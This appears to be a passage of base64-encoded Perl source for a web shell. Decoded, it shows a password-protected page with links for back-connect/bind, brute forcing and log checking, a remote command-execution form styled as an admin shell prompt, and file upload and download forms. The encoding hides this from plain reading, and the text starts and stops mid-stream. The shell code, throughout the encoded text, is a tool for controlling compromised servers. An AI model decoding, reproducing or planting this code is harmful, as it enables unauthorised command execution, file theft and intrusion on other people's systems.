hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YnJ1dGVmb3JjZXIiPkJydXRlIEZvcmNlcjwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+TG9nb3V0PC9hPiB8DQo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iIyI+SGVscDwvYT4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiPg0KJGlkDQo8L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8Zm9udCBpZD0iUmVzcG9uc2VEYXRhIiBjb2xvcj0iI0ZGRkZGRiIgPg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KCXByaW50IDw8RU5EOw0KPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpUeXBpbmdUZXh0ID0gZnVuY3Rpb24oZWxlbWVudCwgaW50ZXJ2YWwsIGN1cnNvciwgZmluaXNoZWRDYWxsYmFjaykgew0KICBpZigodHlwZW9mIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkID09ICJ1bmRlZmluZWQiKSB8fCAodHlwZW9mIGVsZW1lbnQuaW5uZXJIVE1MID09ICJ1bmRlZmluZWQiKSkgew0KICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4NCiAgICByZXR1cm47DQogIH0NCiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsNCiAgdGhpcy5maW5pc2hlZENhbGxiYWNrID0gKGZpbmlzaGVkQ2FsbGJhY2sgPyBmaW5pc2hlZENhbGxiYWNrIDogZnVuY3Rpb24oKSB7IHJldHVybjsgfSk7DQogIHRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gMTAwIDogaW50ZXJ2YWwpOw0KICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsNCiAgdGhpcy51bnBhcnNlZE9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dDsNCiAgdGhpcy5jdXJzb3IgPSAoY3Vyc29yID8gY3Vyc29yIDogIiIpOw0KICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQogIHRoaXMuY3VycmVudENoYXIgPSAwOw0KICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7DQogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsNCiAgVHlwaW5nVGV4dC5hbGwucHVzaCh0aGlzKTsNCiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7DQogIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgdGhpcy50YWdCdWZmZXIgPSAiIjsNCiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsNCiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7DQp9DQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOw0KVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOw0KVHlwaW5nVGV4dC5ydW5BbGwgPSBmdW5jdGlvbigpIHsNCiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsNCn0NClR5cGluZ1RleHQucHJvdG90eXBlLnJ1biA9IGZ1bmN0aW9uKCkgew0KICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsNCiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CS8vIFdlIGhhdmVuJ3QgZmluaXNoZWQgbG9hZGluZyB5ZXQuICBIYXZlIHBhdGllbmNlLg0KICAgIHJldHVybjsNCiAgfQ0KICBpZih0aGlzLmN1cnJlbnRUZXh0ID09ICIiKSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gIiI7DQovLyAgdGhpcy5vcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQucmVwbGFjZSgvPChbXjxdKSo+LywgIiIpOyAgICAgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuDQogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgew0KICAgIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI8IiAmJiAhdGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgPSAiPCI7DQogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI+IiAmJiB0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSAiPiI7DQogICAgICB0aGlzLmluVGFnID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMudGFnQnVmZmVyOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiJiIgJiYgIXRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiOyIgJiYgdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSAiOyI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOw0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLkhUTUxFbnRpdHlCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2Ugew0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICB9DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9IHRoaXMuY3VycmVudFRleHQ7DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOw0KICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7DQogIH0gZWxzZSB7DQoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOw0KCXRoaXMuY3VycmVudENoYXIgPSAwOw0KICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7DQogIH0NCn0NCjwvc2NyaXB0Pg0KPC9wcmU+DQoNCjxicj4NCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KbmV3IFR5cGluZ1RleHQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhhY2siKSwgMzAsIGZ1bmN0aW9uKGkpeyB2YXIgYXIgPSBuZXcgQXJyYXkoIl8iLCIiKTsgcmV0dXJuICIgIiArIGFyW2kubGVuZ3RoICUgYXIubGVuZ3RoXTsgfSk7DQpUeXBpbmdUZXh0LnJ1bkFsbCgpOw0KDQo8L3NjcmlwdD4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBlbmNvZGUgaHRtbCBzcGVjaWFsIGNoYXJzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXJsRW5jb2RlKCQpew0KCW15ICRzdHIgPSBzaGlmdDsNCgkkc3RyID1+IHMvKFteQS1aYS16MC05XSkvc3ByaW50ZigiJSUlMDJYIiwgb3JkKCQxKSkvc2VnOw0KCXJldHVybiAkc3RyOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBBZGQgaHRtbCBzcGVjaWFsIGNoYXJzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsNCglteSAkdGV4dCA9IHNoaWZ0Ow0KCSR0ZXh0ID1+IHMvJi8mYW1wOy9nOw0KCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsNCgkkdGV4dCA9fiBzLycvJy9nOw0KCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7DQoJJHRleHQgPX4gcy8+LyZndDsvZzsNCglyZXR1cm4gJHRleHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBBZGRMaW5rRGlyKCQpDQp7DQoJbXkgJGFjPXNoaWZ0Ow0KCW15IEBkaXI9KCk7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsNCgl9ZWxzZQ0KCXsNCgkJQGRpcj1zcGxpdCgiLyIsJnRyaW0oJEN1cnJlbnREaXIpKTsNCgl9DQoJbXkgJHBhdGg9IiI7DQoJbXkgJHJlc3VsdD0iIjsNCglmb3JlYWNoIChAZGlyKQ0KCXsNCgkJJHBhdGggLj0gJF8uJFBhdGhTZXA7DQoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii5lbmNvZGVfYmFzZTY0KCRwYXRoKS4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KDQpQYXNzd29yZDo8YnI+DQpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRm9ybQ0Kew0KCXByaW50IDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPg0KTG9naW4gOiBBZG1pbmlzdHJhdG9yPGJyPg0KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQpFTkQNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludFBhZ2VGb290ZXINCnsNCglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQ0KIyB2YXJpYWJsZSAkQ29va2llc3snJ30NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBHZXRDb29raWVzDQp7DQoJQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsNCglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQ0KCXsNCgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29raWUpOw0KCQkkQ29va2llc3skaWR9ID0gJHZhbDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9nb3V0DQp7DQoJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3ZlIHBhc3N3b3JkIGNvb2tpZQ0KCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkmUHJpbnRMb2dvdXRTY3JlZW47DQoNCgkmUHJpbnRMb2dpblNjcmVlbjsNCgkmUHJpbnRMb2dpbkZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCglleGl0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQNCiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QNCiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyDQojIHRvIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyOw0KCQlwcmludCAmTGlzdERpcjsNCgl9DQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCQkmUHJpbnRMb2dpblNjcmVlbjsNCgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZA0KCQl7DQoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7DQoNCgkJfQ0KCQkmUHJpbnRMb2dpbkZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCWV4aXQ7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiIgb25TdWJtaXQ9IkVuY29kZXIoJ2MnKSI+DQoNCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCiRQcm9tcHQNCjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyIgaWQ9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQ0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IA0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KDQo8L2Zvcm0+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byB1cGxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCW15ICRkaXI9ICZBZGRMaW5rRGlyKCJ1cGxvYWQiKTsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4NCjxsYWJlbCBmb3I9InVwIj5PdmVyd3JpdGUgaWYgaXQgRXhpc3RzPC9sYWJlbD48YnI+PGJyPg0KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+DQo8L2Zvcm0+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcmV0dXJuIDw8RU5EOw0KPC90ZXh0YXJlYT4NCjxicj48Zm9udCBjb2xvcj15ZWxsb3c+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pg0KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250Pg0KRU5EDQoJfQ0K